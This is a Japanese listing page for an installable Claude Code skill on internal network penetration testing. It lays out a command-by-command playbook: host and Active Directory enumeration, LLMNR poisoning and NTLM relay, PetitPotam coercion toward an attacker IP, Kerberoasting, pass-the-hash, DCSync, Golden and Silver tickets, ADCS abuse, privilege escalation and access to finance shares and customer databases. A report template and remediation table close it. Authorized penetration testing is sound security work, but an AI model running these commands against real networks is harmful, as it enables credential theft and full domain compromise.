conducting-internal-network-penetration-test について
侵害済みを想定した立場から、許可を得て実施する内部ネットワーク侵入テストの方法をまとめたスキルです。発見、認証情報の検証、横展開、影響の実証、報告の手順を扱います。
主な機能
- 01ネットワークとサービスの列挙
- 02Active Directory 情報の収集
- 03認証情報への攻撃テスト
- 04横展開と権限昇格
- 05攻撃経路とリスクの報告
活用シーン
- 01内部ネットワーク侵害時の影響範囲の評価
- 02Active Directory 防御策の検証
- 03横展開の攻撃経路の記録
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill conducting-internal-network-penetration-testインストール後、Claude Code で/conducting-internal-network-penetration-testを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
内部ネットワーク侵入テストの実施
概要
内部ネットワーク侵入テストでは、すでに内部ネットワークへのアクセスを得た攻撃者、または悪意ある内部関係者を想定してシミュレーションを行います。テスターは「侵害済みを前提とする」立場から作業します。通常は標準的なドメインワークステーションやネットワークポートを起点とし、侵害されたエンドポイントの影響範囲を特定するため、ラテラルムーブメント、権限昇格、認証情報の収集、データの持ち出しを試みます。
使用するタイミング
- 内部ネットワーク侵入テストを含むセキュリティ評価を実施する場合
- 関連するセキュリティイベントのインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査活動を実施する場合
- 実践的なテストを通じてセキュリティ制御を検証する場合
前提条件
- 内部ネットワークを対象範囲とする、署名済みのルール・オブ・エンゲージメント
- ネットワークアクセス:物理的なイーサネットポート、または内部 VLAN への VPN 接続
- 標準的なドメインユーザー認証情報(侵害済みを前提とするモデル)、または認証なしのアクセス
- Kali Linux、Impacket、Responder、BloodHound を搭載したテスト用ノート PC
- 監視や緊急連絡先について、IT/SOC と調整済みであること
法的通知: このスキルは、許可を得たセキュリティテストと教育目的のみに使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺関連の法律に違反する可能性があります。
フェーズ 1 — ネットワークの発見と列挙
初期ネットワーク偵察
# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf
# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0
# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
Active Directory の列挙
# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis
# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
ネットワークサービスの列挙
# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1
# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5
# NFS enumeration
showmount -e 10.0.0.15
# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:[email protected]' -windows-auth
フェーズ 2 — 認証情報に対する攻撃
ネットワーク認証情報の取得
# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv
# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt
# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local
# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5
パスワード攻撃
# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
フェーズ 3 — エクスプロイトとラテラルムーブメント
ラテラルムーブメントの手法
# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/[email protected]' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
# WMI execution
impacket-wmiexec 'corp.local/admin:[email protected]'
# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
# SMBExec
impacket-smbexec 'corp.local/admin:[email protected]'
# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
# SSH pivoting
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24
権限昇格
# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
ドメイン権限の昇格
# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc
# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/db01.corp.local administrator
# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u '[email protected]' -p 'Password123' -target ca01.corp.local \
-template VulnerableTemplate -ca CORP-CA -upn [email protected]
フェーズ 4 — データへのアクセスと影響の実証
# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
# Database access
impacket-mssqlclient 'sa:[email protected]'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise
フェーズ 5 — 報告
攻撃経路の記録
Attack Path 1: Domain Compromise via LLMNR Poisoning
Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
Impact: Complete domain compromise from unauthenticated network position
脆弱性の深刻度マトリックス
| 脆弱性 | CVSS | MITRE ATT&CK | 修正方法 |
|---|---|---|---|
| LLMNR/NBT-NS ポイズニング | 8.1 | T1557.001 | GPO を通じて LLMNR/NBT-NS を無効化する |
| Kerberoast の対象となるサービスアカウント | 7.5 | T1558.003 | gMSA を使用し、25 文字以上のパスワードを設定する |
| ローカル管理者アカウントの使い回し | 8.4 | T1078 | LAPS を導入し、一意のローカル管理者パスワードを設定する |
| 脆弱なドメインパスワード | 7.2 | T1110 | 14 文字以上を必須とし、よく使われるパスワードを禁止する |
| 制限のない DCSync | 9.8 | T1003.006 | レプリケーション権限を監査し、階層化された管理者モデルを導入する |
ツール一覧
| ツール | 用途 |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS ポイズニング |
| Impacket | AD 攻撃スイート(secretsdump、psexec、wmiexec など) |
| BloodHound | AD 攻撃経路の可視化 |
| NetExec (CrackMapExec) | ネットワークサービスの列挙とパスワードスプレー |
| Evil-WinRM | PowerShell リモーティングクライアント |
| Certipy | AD 証明書サービスのエクスプロイト |
| Mimikatz | Windows 認証情報の抽出 |
| Hashcat | パスワードハッシュのクラッキング |
| Nmap | ネットワークスキャンと列挙 |
| LinPEAS/WinPEAS | 権限昇格に関する列挙 |
参考資料
- Cobalt 内部ネットワーク侵入テストの方法論:https://docs.cobalt.io/methodologies/internal-network/
- MITRE ATT&CK Enterprise:https://attack.mitre.org/matrices/enterprise/
- PTES:http://www.pentest-standard.org/
- Impacket:https://github.com/fortra/impacket
- BloodHound:https://github.com/BloodHoundAD/BloodHound
コメント
Markdown 対応